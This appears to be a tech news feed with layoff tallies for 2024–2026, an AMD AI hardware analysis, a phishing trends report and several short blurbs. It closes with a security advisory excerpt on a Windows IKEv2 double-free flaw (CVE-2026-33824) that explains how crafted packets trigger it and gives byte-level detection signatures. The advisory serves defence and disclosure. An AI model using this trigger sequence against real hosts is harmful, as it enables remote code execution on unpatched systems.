Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.

But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.

According to data compiled by Layoffs.fyi, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.

Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.

Notable tech layoffs in 2026

Monday.com
Microsoft
Meta
Cisco
Cloudflare
Oracle
Atlassian
Salesforce
Amazon
Ericsson

July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era

The company says the decision to cut 620 jobs isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.

July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams

As the company trims thousands of jobs, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees voluntary retirement buyouts.

June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024

AI was blamed for 40% of the job cuts in May, up from 7% in January, according to research by employment placement company Challenger, Gray & Christmas.

May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce

The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, according to Yahoo Tech.

May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking

Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will eliminate almost 4,000 jobs.

May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring

About 20% of Cloudflare’s global workforce will be culled as the company pivots for the agentic AI era, Reuters reported.

April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk

Oracle began laying off employees on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. (Note: in June, CNBC put the final layoff tally at 21,000.)

March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion

Atlassian will reduce its global workforce by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.

March 11, 2026: Tech layoffs surpass 45,000 in early 2026

A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing workforce cuts even as many tech companies report strong revenue growth.

February 10, 2026: Salesforce lays off staffers as executive leadership churn continues

Salesforce has reduced close to 1,000 roles earlier this month across teams, including marketing, product management, data analytics, and its Agentforce AI unit, Business Insider reported, quoting employees familiar with the matter.

January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent

As the market slows down, AWS and other Amazon units are preparing for another round of layoffs, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 confirmed 16,000 job cuts.

January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden

Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, Reuters reports.

January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business

Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, according to The New York Times.

Layoffs in 2025

Cisco
Oracle
Windsurf
Intel
Microsoft
Crowdstrike
HPE
Autodesk
HPE
CISA
Workday
Salesforce
Meta

Global tech-sector layoffs surpass 244,000 in 2025

Economic uncertainty, elevated interest rates, and AI adoption have driven workforce reductions across tech companies worldwide, according to a RationalFX report.

October 28, 2025: Amazon to cut 14,000 jobs across company

Amazon will reduce its overall workforce by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.

August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs

Tech companies Cisco and Oracle are cutting hundreds of jobs across the Bay Area. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date

August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door

Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, reports The Information.

July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’

Intel will reduce its workforce to 75,000 employees by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker

July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs

Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect major layoffs at Intel in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales.

July 2, 2025: Microsoft will cut 9,000 workers

Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut told CNBC. The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.

June 17, 2025: Intel looks to factory layoffs to return to profitability

Intel will lay off up to 20% of its manufacturing sector employees starting in July, according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.

May 7, 2025: CrowdStrike to lay off 5% of staff

CrowdStrike announced a plan to cut about 500 roles, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs

March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy

CEO Antonio Neri told Wall Street analysts that HPE would begin implementing a cost-cutting program involving layoffs of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.

Feb. 27, 2025: Autodesk to lay off 9% of workforce

Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, CEO Andrew Anagnost said in a message to employees. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there.

Feb. 27, 2025: HP to lay off 2,000 more

As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by forcing callers to wait for at least 15 minutes if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on.

Feb. 21, 2025: CISA lays off 130

Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.

Feb. 5, 2025: Workday lays off 1,750

As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.

Feb. 4, 2025: Salesforce lays off over 1,000

At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.

Jan. 14, 2025: Meta will lay off 5% of workforce

Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.

Tech layoffs in 2024

Equinix
AMD
Freshworks
Cisco
General Motors
Intel
OpenText
Microsoft
AWS
Dell

Nov. 26, 2024: Equinix to cut 3% of staff

Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.

Nov. 13, 2024: AMD to cut 4% of workforce

AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings.

Nov. 7, 2024: Freshworks lays off 660

Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.

Sept. 17, 2024: Cisco lays off 6,000

After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security.

Aug. 20, 2024: General Motors lays off 1,000 software staff

More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.

August 1, 2024: Intel removes 15,000 roles

Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”

July 4, 2024: OpenText to lay off 1,200

OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.

June 4, 2024: Microsoft lays off staff in Azure division

Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.

April 4, 2024: Amazon downsizes AWS in a fresh cost-cutting round

Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “Just Walk Out” technology built for its Amazon Fresh grocery stores.

April 1, 2024: Dell acknowledges 13,000 job cuts

Dell Technologies’ latest 10K filing with the US Securities and Exchange Commission disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.

See news of earlier layoffs.

AMD raises the AI stakes with Helios, Venice and robotics

Sat, 25 Jul 2026 19:50:07 +0200

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
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Email threats changed after the Tycoon2FA take-down

Sat, 25 Jul 2026 19:50:06 +0200

Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.

“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in the report.

The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.

Riding this shift in were a few notable phishing campaigns, including an automated business email compromise (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.

To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to MFA for accounts that still require passwords.

Tycoon2FA disruption sent attackers exploring

The take-down of Tycoon2FA forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.

“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.

The decline extended to QR Code lures and fake CAPTCHA pages, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.

But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.

The adaptation came in the form of using Microsoft Teams as a social engineering channel. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.

Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.

Phishing changes but the defense doesn’t

While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.

QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.

BEC attacks hit 9 million in March, falling to 3.9 million in June.

But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant MFA to reduce the effectiveness of credential theft campaigns.

The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, FIDO keys, and Microsoft Authenticator.

Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.

This article first appeared on CSO.

Elon Musk says Grok Imagine will make ‘historically accurate’ AI adaptation of Homer’s Odyssey

Sat, 25 Jul 2026 19:50:02 +0200

The billionaire says the AI-generated film will stay true to Homer’s original, after repeatedly criticising Christopher Nolan’s blockbuster over its casting choices

Elon Musk has said his AI platform Grok Imagine will make a “historically accurate” adaptation of Homer’s Odyssey, after the success of Christopher Nolan’s blockbusting treatment which the SpaceX founder has regularly criticised over its casting.

In a post on X, Musk said: “Before this year ends, Grok Imagine will make a full-length movie of The Odyssey that is historically accurate and true to the art of Homer.” Musk also linked to a post containing a three-minute clip of footage that the user said had been generated from Grok Imagine, showing a scene between Odysseus and the nymph Calypso.

‘I thought, I’ve tried everything else, why not give AI a shot?’: the long-lost family reunited by ChatGPT

Sat, 25 Jul 2026 19:50:01 +0200

Avtar spent decades wondering what happened to the mother he never got to know. Thousands of miles away, Nicci was haunted by the story of a half-brother given away before she was born. How did a chatbot bring them together?

As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh used to hear whispers. Your mum isn’t really your mum, the rumours would say. Your mum lives abroad. Avtar didn’t really pay any attention to it. “I thought, the neighbours are just making up stories.” But the stories were true: the woman raising Avtar was actually his grandmother. When he was too young to remember it, his father had emigrated to Canada to work as a teacher, leaving Avtar in the care of his paternal grandparents. His grandfather, a police officer, was a fearsome authoritarian, but his grandmother brought him up with tenderness, as if he were her own son. She called him by his nickname, Titu. He felt loved.

When Avtar was around eight years old, he was told about his family in Canada: his dad, his mum and a little brother were waiting for him there, and he would soon travel to join them. Just after his ninth birthday, Avtar found himself sitting on a plane, dressed in a three‑piece suit and tie. He was travelling alone. He had never flown before. He didn’t speak a word of English. He landed in Halifax, Nova Scotia, on Christmas Eve, 1968; his family met him at the airport and took him home. “I didn’t know what to think,” Avtar, now 66, tells me in a video call from his home in Abbotsford, British Columbia. “Before I knew it, it was the first week of January, and I was put in school.”

Datalab Marker v2 vs MinerU, Docling, and Liteparse: Benchmark Breakdown

Sat, 25 Jul 2026 19:49:21 +0200

Datalab rewrote Marker as a three-mode pipeline. Version 2 hits 76.0 on olmOCR-bench and sustains 2.9 pages per second on one B200 — over 5× MinerU's pipeline backend, while beating Docling on both accuracy and speed. Here's how it compares against MinerU, Docling and LiteParse, and which one fits your use case.

The post Datalab Marker v2 vs MinerU, Docling, and Liteparse: Benchmark Breakdown appeared first on MarkTechPost.

Building Self-Evolving AI Agents with OpenSpace Using Skills, MCP, Lineage, and Low-Cost Reuse

Sat, 25 Jul 2026 19:49:20 +0200

Discover how to create self-evolving AI agents using the OpenSpace framework. This tutorial guides you through the entire workflow—from environment setup and custom skill creation to MCP integration and using SQLite to manage agent lineage—empowering you to build more efficient, reusable agent systems.

The post Building Self-Evolving AI Agents with OpenSpace Using Skills, MCP, Lineage, and Low-Cost Reuse appeared first on MarkTechPost.

Your personal information is on the dark web. What happens next?

Sat, 25 Jul 2026 19:04:48 +0200

If your data is on the dark web, it’s probably only a matter of time before it’s abused for fraud or account hijacking. Here’s what to do.

Pwn2Own 2021 - Day Three Live Stream

Sat, 25 Jul 2026 19:03:41 +0200

YouTube Video

The 3 types of people who will excel in the AI agent era, according to tech leaders

Sat, 25 Jul 2026 19:03:28 +0200

The autonomous business of the future is being built. Certain skills are in high demand - and can help you stand out.

CVE-2026-33824: Remote Code Execution in Windows IKEv2

Sat, 25 Jul 2026 19:02:57 +0200

In this excerpt of a TrendAI Research Services vulnerability report, Richard Chen and Lucas Miller of the TrendAI Research team detail a recently patched double free vulnerability in the Windows Internet Key Exchange (IKE) service. This bug was originally discovered by WARP & MORSE team at Microsoft. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution. The following is a portion of their write-up covering CVE-2026-33824, with a few minimal modifications.

A double free vulnerability has been reported in the Windows Internet Key Exchange (IKEv2) service. The vulnerability is due to an error when processing fragments.

An unauthenticated, remote attacker could exploit this vulnerability by sending crafted packets to the target server. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution.

The Vulnerability

Microsoft Windows is an operating system which includes both server and desktop components along with an easy-to-use GUI. All currently supported versions of Windows include Internet Key Exchange Protocol Extensions to support the Virtual Private Network (VPN) feature.

The VPN feature of Windows encrypts communication between hosts. ISAKMP is a negotiation protocol used by IPsec-enabled hosts to build a security association. It uses the Internet Key Exchange (IKE) Protocol in order to negotiate keys for encrypted communication. IKE has two versions: IKEv1 and IKEv2. IKE version 1 (IKEv1) and version 2 (IKEv2) messages have the following general format:

The type of payload is determined by the Next Payload header of the previous payload, or the Next Payload field in the header (in the case of the first payload).

IKEv2 supports message fragmentation as defined in RFC 7383. When IKEv2 messages exceed the path MTU, they may be split into multiple Encrypted Fragment payloads. Of interest to this report is the Encrypted Fragment (SKF) payload (type 0x35). The SKF payload format is defined as:

When an IKEv2 implementation receives fragments, it inserts each fragment into an ordered list and reassembles them once all fragments have been received. In the Windows implementation, the function IkeReinjectReassembledPacket() performs this reassembly.

A double-free vulnerability has been reported in the Windows IKE Extension library (ikeext.dll). The vulnerability is due to improper ownership handling of a heap-allocated blob pointer during IKEv2 fragment reassembly. During the IKE_SA_INIT exchange, a Security Realm Vendor ID payload causes IkeHandleSecurityRealmVendorId() to allocate a blob and store it in the MMSA (Main Mode Security Association) structure at offset 0x208. When a fragmented IKE_AUTH message is fully reassembled, IkeReinjectReassembledPacket copies MMSA fields at offsets 0x178 through 0x21F - including the blob pointer at 0x208 - into a local stack struct. This struct is then passed to IkeQueueRecvRequest, which shallow-copies it into a heap-allocated work item. While IkeQueueRecvRequest deep-copies the reassembly buffer at offset 0x10 in the struct, the Security Realm blob pointer at offset 0xC8 remains a shallow copy, aliasing the original at MMSA+0x208.

When the thread pool processes the queued work item, IkeDestroyPacketContext checks the blob pointer at offset 0xC8 and calls WfpMemFree to release it (first free). The MMSA structure still holds the original pointer to the same allocation at offset 0x208. When the MMSA is subsequently cleaned up through IkeCleanupMMNegotiation, the SA reference count is decremented via IkeDerefMMSA, eventually triggering IkeFreeMMSA, which frees the blob pointer at MMSA offset 0x208 - the same allocation already freed by IkeDestroyPacketContext (second free).

A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted IKE_SA_INIT message followed by two or more Encrypted Fragment (SKF) payloads containing an invalid IKE_AUTH message to the target server. The fragment reassembly path will shallow-copy the blob pointers, and the subsequent MMSA cleanup will trigger the double free. Successful exploitation could result in arbitrary code execution under the security context of the IKEEXT service (SYSTEM).

Source Code Walkthrough

The following code snippets were taken from IKEEXT.DLL file version 10.0.20348.2849 and decompiled with IDA Pro version 8.3. Comments added by TrendAI have been highlighted.

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on UDP ports 500 and 4500. The IKE general format, Payloads field, and the Encrypted Fragment (SKF) payload format can be seen above.

The detection device should monitor all incoming IKE traffic. Detection requires correlating two packets within the same IKE session: an IKE_SA_INIT request carrying the Microsoft Security Realm Vendor ID, followed by a fragmented IKE_AUTH request. Neither packet alone is malicious; both must be observed in sequence from the same source.

IKE_SA_INIT

At byte offset 17 of the UDP payload, the device should check for the three-byte sequence 20 22 08, which corresponds to the IKEv2 version identifier (0x20), the IKE_SA_INIT exchange type (0x22), and the Initiator flag (0x08). The device should then scan the remainder of the packet for the 16-byte sequence 68 6a 8c bd fe 63 4b 40 51 46 fb 2b af 33 e9 e8, which is the Microsoft Security Realm Vendor ID. If both conditions are met, the device should follow the guidance below.

IKE_AUTH

For subsequent packets from the same source, the device should check bytes at offset 16 through 23 of the UDP payload. At offset 16, the four-byte sequence 35 20 23 08 identifies an Encrypted Fragment payload (SKF, type 0x35), IKEv2 version (0x20), IKE_AUTH exchange type (0x23), and Initiator flag (0x08). If found, the detection device should inspect offset 20 and search for the four-byte sequence00 00 00 01. If found the traffic should be considered malicious; an attack exploiting this vulnerability is likely underway.

Notes
• All multi-byte values should be treated as big endian.
• When detecting traffic on port 4500, IKE packets are prepended by a 4-byte non-ESP marker (\x00\x00\x00\x00), shifting all IKE header content offsets by 4.

Conclusion

This vulnerability was patched by Microsoft in the April 2026 release cycle. They do note two mitigations that could prevent exploitation while the patch is being tested and deployed.

· Block inbound traffic on UDP ports 500 and 4500 for systems that do not use IKE.

